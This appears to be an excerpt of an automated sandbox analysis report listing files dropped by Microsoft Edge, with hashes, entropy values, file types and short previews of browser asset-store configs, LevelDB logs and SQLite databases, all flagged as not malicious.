                                                                                                                                                                          Preview:...m.................DB_VERSION.1acT..................QUERY_TIMESTAMP:arbitration_priority_list4.*.*.13340969984833782.$QUERY:arbitration_priority_list4.*.*..[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):332
                                                                                                                                                                          Entropy (8bit):5.090926973837909
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EY+QL+q2PqLTwi23oH+Tcwt9Eh1tIFUt8F+pdSG1Zmw+FQQLVkwOqLTwi23oH+TI:EYvyv8wZYeb9Eh16FUt8FS/+FFR5TwZw
                                                                                                                                                                          MD5:8C35B184D848626180958F77CA330A8D
                                                                                                                                                                          SHA1:F27417B5BA8542FBDE8D0473DFF96C6EF096B063
                                                                                                                                                                          SHA-256:7BE8709B1FD2886EB271DE61867AA321ECDFD89B636EBC71FB4C619907DD6B27
                                                                                                                                                                          SHA-512:C7CDA7A725895A33E06FB2CF06C4E82FEA33B83CE85A894E719984F7314C2864C70DCDB4AD4A5071DCD39B8E6AFE5FA359363DA9BEF67D4A164AAB64AA6F3673
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:06.225 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/23-02:40:06.227 1da8 Recovering log #3.2024/12/23-02:40:06.231 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):332
                                                                                                                                                                          Entropy (8bit):5.090926973837909
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EY+QL+q2PqLTwi23oH+Tcwt9Eh1tIFUt8F+pdSG1Zmw+FQQLVkwOqLTwi23oH+TI:EYvyv8wZYeb9Eh16FUt8FS/+FFR5TwZw
                                                                                                                                                                          MD5:8C35B184D848626180958F77CA330A8D
                                                                                                                                                                          SHA1:F27417B5BA8542FBDE8D0473DFF96C6EF096B063
                                                                                                                                                                          SHA-256:7BE8709B1FD2886EB271DE61867AA321ECDFD89B636EBC71FB4C619907DD6B27
                                                                                                                                                                          SHA-512:C7CDA7A725895A33E06FB2CF06C4E82FEA33B83CE85A894E719984F7314C2864C70DCDB4AD4A5071DCD39B8E6AFE5FA359363DA9BEF67D4A164AAB64AA6F3673
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:06.225 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/23-02:40:06.227 1da8 Recovering log #3.2024/12/23-02:40:06.231 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):28672
                                                                                                                                                                          Entropy (8bit):0.43508159006069336
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBI:TouQq3qh7z3bY2LNW9WMcUvB
                                                                                                                                                                          MD5:F5237AED0F897E7619A94843845A3EC3
                                                                                                                                                                          SHA1:A0C752C9C28A753CFB051AACE2ADA78A6D1288C3
                                                                                                                                                                          SHA-256:D4463972AD7B1582F05C8E17074CE863D45CA625C2C672DB0D37F3AF4C7ACE42
                                                                                                                                                                          SHA-512:D3C9718794E455D415D8EDF23B576E0A70356B8D71B8DD374D25B8065FEF608E114E13395B4B54462739882A141F4DBE00E3A370D6E4160504428A849CC893A3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):10240
                                                                                                                                                                          Entropy (8bit):0.8708334089814068
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
                                                                                                                                                                          MD5:92F9F7F28AB4823C874D79EDF2F582DE
                                                                                                                                                                          SHA1:2D4F1B04C314C79D76B7FF3F50056ECA517C338B
                                                                                                                                                                          SHA-256:6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
                                                                                                                                                                          SHA-512:86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):341
                                                                                                                                                                          Entropy (8bit):5.257977313525778
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARbA+q2PqLTwi23oH+TcwtnG2tMsIFUt8fRbcS5Zmw+fRbcStVkwOqLTwi23oH+V:YbFv8wZYebn9GFUt8Zbb5/+ZbbT5TwZ5
                                                                                                                                                                          MD5:1F3728178C10F1D62C39BFFF6B535F2B
                                                                                                                                                                          SHA1:FBA78A716B1574418CB3CC8DED536548DEAB4D9C
                                                                                                                                                                          SHA-256:3416010DF0D147EC0B0ABD30A079ECB67226A499C49F03BD1747CEB74887A0A7
                                                                                                                                                                          SHA-512:3E6A389B077D5E8AFF3DCD1E6ACBD5C01BDA9908C7D87CE148E714E570AAF4CE45F40C737AB7ED406312AF453A5D0D1D41CA357F6AC56A239D39106C77C5721B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.574 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/23-02:39:59.579 878 Recovering log #3.2024/12/23-02:39:59.579 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):341
                                                                                                                                                                          Entropy (8bit):5.257977313525778
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARbA+q2PqLTwi23oH+TcwtnG2tMsIFUt8fRbcS5Zmw+fRbcStVkwOqLTwi23oH+V:YbFv8wZYebn9GFUt8Zbb5/+ZbbT5TwZ5
                                                                                                                                                                          MD5:1F3728178C10F1D62C39BFFF6B535F2B
                                                                                                                                                                          SHA1:FBA78A716B1574418CB3CC8DED536548DEAB4D9C
                                                                                                                                                                          SHA-256:3416010DF0D147EC0B0ABD30A079ECB67226A499C49F03BD1747CEB74887A0A7
                                                                                                                                                                          SHA-512:3E6A389B077D5E8AFF3DCD1E6ACBD5C01BDA9908C7D87CE148E714E570AAF4CE45F40C737AB7ED406312AF453A5D0D1D41CA357F6AC56A239D39106C77C5721B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.574 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/23-02:39:59.579 878 Recovering log #3.2024/12/23-02:39:59.579 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):20480
                                                                                                                                                                          Entropy (8bit):0.611878754659055
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:TLapR+DDNzWjJ0npnyXKUO8+jXPpepNPrmL:TO8D4jJ/6Up+7gw
                                                                                                                                                                          MD5:A905C560B5B9CBAF965F3353B9F42068
                                                                                                                                                                          SHA1:579BF9D05A833CD24EE3DD564686EA2E72DE3D3A
                                                                                                                                                                          SHA-256:AF6D4AEF24BE50EDE0B5CD09030E8F96F7F6A144A553D13DE050BDDA72FD7863
                                                                                                                                                                          SHA-512:D80113AF01C34AA685F06A3B10F8CDBC9DBE2046428BAF68AD2AE5EBA9C06B9D6F90FD97232B1CD0596E0A84B14113F3188B5924234859A5DBCA3EBC10F1A99A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16
                                                                                                                                                                          Entropy (8bit):3.2743974703476995
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:1sjgWIV//Uv:1qIFUv
                                                                                                                                                                          MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                          SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                          SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                          SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):375520
                                                                                                                                                                          Entropy (8bit):5.354125025573997
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:rA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:rFdMyq49tEndBuHltBfdK5WNbsVEziPU
                                                                                                                                                                          MD5:AA204C5CECC1D735636CB096A5E704C4
                                                                                                                                                                          SHA1:2AD982B8C636F4578AE3B85E395BF65F569F02F6
                                                                                                                                                                          SHA-256:260B1E21AEFF011321535DB7BBD51BE6E811940527CF37F70419D1F50FE9A0DB
                                                                                                                                                                          SHA-512:0728334738A398DFD0A5DF0903A8FEC1657C61FD44677B7973D8F3796BF76C0E7A531C6ED6F1339E3CE2672B95F7FCB4980881BF9D5E041FFC734C7B3DA88CDB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:...m.................DB_VERSION.1.X.!q...............&QUERY_TIMESTAMP:domains_config_gz2.*.*.13379413210461712..QUERY:domains_config_gz2.*.*..[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16
                                                                                                                                                                          Entropy (8bit):3.2743974703476995
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:1sjgWIV//Uv:1qIFUv
                                                                                                                                                                          MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                          SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                          SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                          SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):307
                                                                                                                                                                          Entropy (8bit):5.102054152937338
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Ewats1qLTwi23oH+Tcwtk2WwnvB2KLlSyjUDq2PqLTwi23oH+Tcwtk2WwnvIFUv:EwavwZYebkxwnvFL8GSv8wZYebkxwnQg
                                                                                                                                                                          MD5:25B234977D0BC69EC55DA6D9EC661668
                                                                                                                                                                          SHA1:C635BC7BF9185A64F25A8F012B9C3CD0AEC56BCD
                                                                                                                                                                          SHA-256:2AB6EDC2CA9D4C60DEA6A8308D1213F0C3800ABAB4A9C51BC96F85F163BEE9A9
                                                                                                                                                                          SHA-512:DDE233FE5B6B64885F82B3E9CE52FB37CB0AFEDA2DBCF07C83EA500DD6339C002EA41ABC286579E87177A4AFDF584E3CE3B4DC7360E30B6C46936C9BE79B1B64
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:06.146 1d10 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/23-02:40:06.164 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:OpenPGP Secret Key
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):41
                                                                                                                                                                          Entropy (8bit):4.704993772857998
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:scoBAIxQRDKIVjn:scoBY7jn
                                                                                                                                                                          MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                          SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                          SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                          SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.|.."....leveldb.BytewiseComparator......
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):358860
                                                                                                                                                                          Entropy (8bit):5.324611356198276
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RS:C1gAg1zfvK
                                                                                                                                                                          MD5:3F66E7E3D115A5ABA4A81CE6FBAC653D
                                                                                                                                                                          SHA1:AE714F4DE098A9CDF3515160B3CA792AF68392D3
                                                                                                                                                                          SHA-256:F279D23E305D5838240E398160602167246D60CA6EBCA8B27EF130C0560D3E18
                                                                                                                                                                          SHA-512:8BAE460F858750C155FCBE784815476080603E0EA66BFFF0277A724DD74124BB95163C93DB507E66348F821D100F946F2BFCB0B5F07BB32D8C767E4E58E9DD6B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aee_config":{"ar":{"price_regex":{"ae":"(((ae|aed|\\x{062F}\\x{0660}\\x{0625}\\x{0660}|\\x{062F}\\.\\x{0625}|dhs|dh)\\s*\\d{1,3})|(\\d{1,3}\\s*(ae|aed|\\x{062F}\\x{0660}\\x{0625}\\x{0660}|\\x{062F}\\.\\x{0625}|dhs|dh)))","dz":"(((dzd|da|\\x{062F}\\x{062C})\\s*\\d{1,3})|(\\d{1,3}\\s*(dzd|da|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}|egp)\\s*\\d{1,3})|(\\d{1,3}\\s*(e\\x{00a3}|egp)))","ma":"(((mad|dhs|dh)\\s*\\d{1,3})|(\\d{1,3}\\s*(mad|dhs|dh)))","sa":"((\\d{1,3}\\s*(sar\\s*\\x{fdfc}|sar|sr|\\x{fdfc}|\\.\\x{0631}\\.\\x{0633}))|((sar\\s*\\x{fdfc}|sar|sr|\\x{fdfc}|\\.\\x{0631}\\.\\x{0633})\\s*\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s*\\x{0625}\\x{0644}\\x{0649}\\s*\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})|(\\x{0623}\\x{0636}\\x{0641}\\s*\\x{0625}\\x{0644}\\x{0649}\\s*\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):418
                                                                                                                                                                          Entropy (8bit):1.8784775129881184
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
                                                                                                                                                                          MD5:BF097D724FDF1FCA9CF3532E86B54696
                                                                                                                                                                          SHA1:4039A5DD607F9FB14018185F707944FE7BA25EF7
                                                                                                                                                                          SHA-256:1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
                                                                                                                                                                          SHA-512:31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):317
                                                                                                                                                                          Entropy (8bit):5.192948197045496
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARkiQ+q2PqLTwi23oH+Tcwt8aPrqIFUt8fRFDgZmw+fR5QVkwOqLTwi23oH+TcwC:YkiQ+v8wZYebL3FUt8Z5g/+Z5QV5TwZE
                                                                                                                                                                          MD5:B8FAF50034AF38202028B57E3FAC1081
                                                                                                                                                                          SHA1:0AF4092D73E2002E733AC9765AC6C4EBA83570DD
                                                                                                                                                                          SHA-256:1A0321A90AA63543F70C01D6A1D5E230A528B843CB7986FB6400124A8C9712FE
                                                                                                                                                                          SHA-512:448381810665010ACCAD61424D09174ADE4F7E890AC8A7EC351CD6175112D50439A9F41B92C0A6A4D8A6B97E64E5D8D37E1F71EF920579D66B36F0B3B7F3CC27
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.604 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/23-02:39:59.619 79c Recovering log #3.2024/12/23-02:39:59.620 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):317
                                                                                                                                                                          Entropy (8bit):5.192948197045496
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARkiQ+q2PqLTwi23oH+Tcwt8aPrqIFUt8fRFDgZmw+fR5QVkwOqLTwi23oH+TcwC:YkiQ+v8wZYebL3FUt8Z5g/+Z5QV5TwZE
                                                                                                                                                                          MD5:B8FAF50034AF38202028B57E3FAC1081
                                                                                                                                                                          SHA1:0AF4092D73E2002E733AC9765AC6C4EBA83570DD
                                                                                                                                                                          SHA-256:1A0321A90AA63543F70C01D6A1D5E230A528B843CB7986FB6400124A8C9712FE
                                                                                                                                                                          SHA-512:448381810665010ACCAD61424D09174ADE4F7E890AC8A7EC351CD6175112D50439A9F41B92C0A6A4D8A6B97E64E5D8D37E1F71EF920579D66B36F0B3B7F3CC27
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.604 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/23-02:39:59.619 79c Recovering log #3.2024/12/23-02:39:59.620 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):418
                                                                                                                                                                          Entropy (8bit):1.8784775129881184
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
                                                                                                                                                                          MD5:BF097D724FDF1FCA9CF3532E86B54696
                                                                                                                                                                          SHA1:4039A5DD607F9FB14018185F707944FE7BA25EF7
                                                                                                                                                                          SHA-256:1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
                                                                                                                                                                          SHA-512:31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):321
                                                                                                                                                                          Entropy (8bit):5.198943596555137
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARnQ+q2PqLTwi23oH+Tcwt865IFUt8fRngZmw+fRnQVkwOqLTwi23oH+Tcwt86+e:YnQ+v8wZYeb/WFUt8Zng/+ZnQV5TwZY4
                                                                                                                                                                          MD5:B98750C8C0BC6D315622A8A8BE2E3561
                                                                                                                                                                          SHA1:B7D5EEF0AD5DECC86275F8440EE309F85FF53293
                                                                                                                                                                          SHA-256:334D42F18095A8EFE099B7F5A50CCE56326717ECE4FDC4AEAD7DD4AA57888F5F
                                                                                                                                                                          SHA-512:3B68567221BBE8C0BB0F1BA213EFC9EAE2E844B5C81D063D1FD7CBC3C9889C5118E120B8CE82843CFA8838A62CE37075C47073E24942CB333FD2C3041C601FF9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.626 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/23-02:39:59.626 79c Recovering log #3.2024/12/23-02:39:59.626 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):321
                                                                                                                                                                          Entropy (8bit):5.198943596555137
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARnQ+q2PqLTwi23oH+Tcwt865IFUt8fRngZmw+fRnQVkwOqLTwi23oH+Tcwt86+e:YnQ+v8wZYeb/WFUt8Zng/+ZnQV5TwZY4
                                                                                                                                                                          MD5:B98750C8C0BC6D315622A8A8BE2E3561
                                                                                                                                                                          SHA1:B7D5EEF0AD5DECC86275F8440EE309F85FF53293
                                                                                                                                                                          SHA-256:334D42F18095A8EFE099B7F5A50CCE56326717ECE4FDC4AEAD7DD4AA57888F5F
                                                                                                                                                                          SHA-512:3B68567221BBE8C0BB0F1BA213EFC9EAE2E844B5C81D063D1FD7CBC3C9889C5118E120B8CE82843CFA8838A62CE37075C47073E24942CB333FD2C3041C601FF9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.626 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/23-02:39:59.626 79c Recovering log #3.2024/12/23-02:39:59.626 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1254
                                                                                                                                                                          Entropy (8bit):1.8784775129881184
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
                                                                                                                                                                          MD5:826B4C0003ABB7604485322423C5212A
                                                                                                                                                                          SHA1:6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
                                                                                                                                                                          SHA-256:C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
                                                                                                                                                                          SHA-512:0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
                                                                                                                                                                          Malicious:false
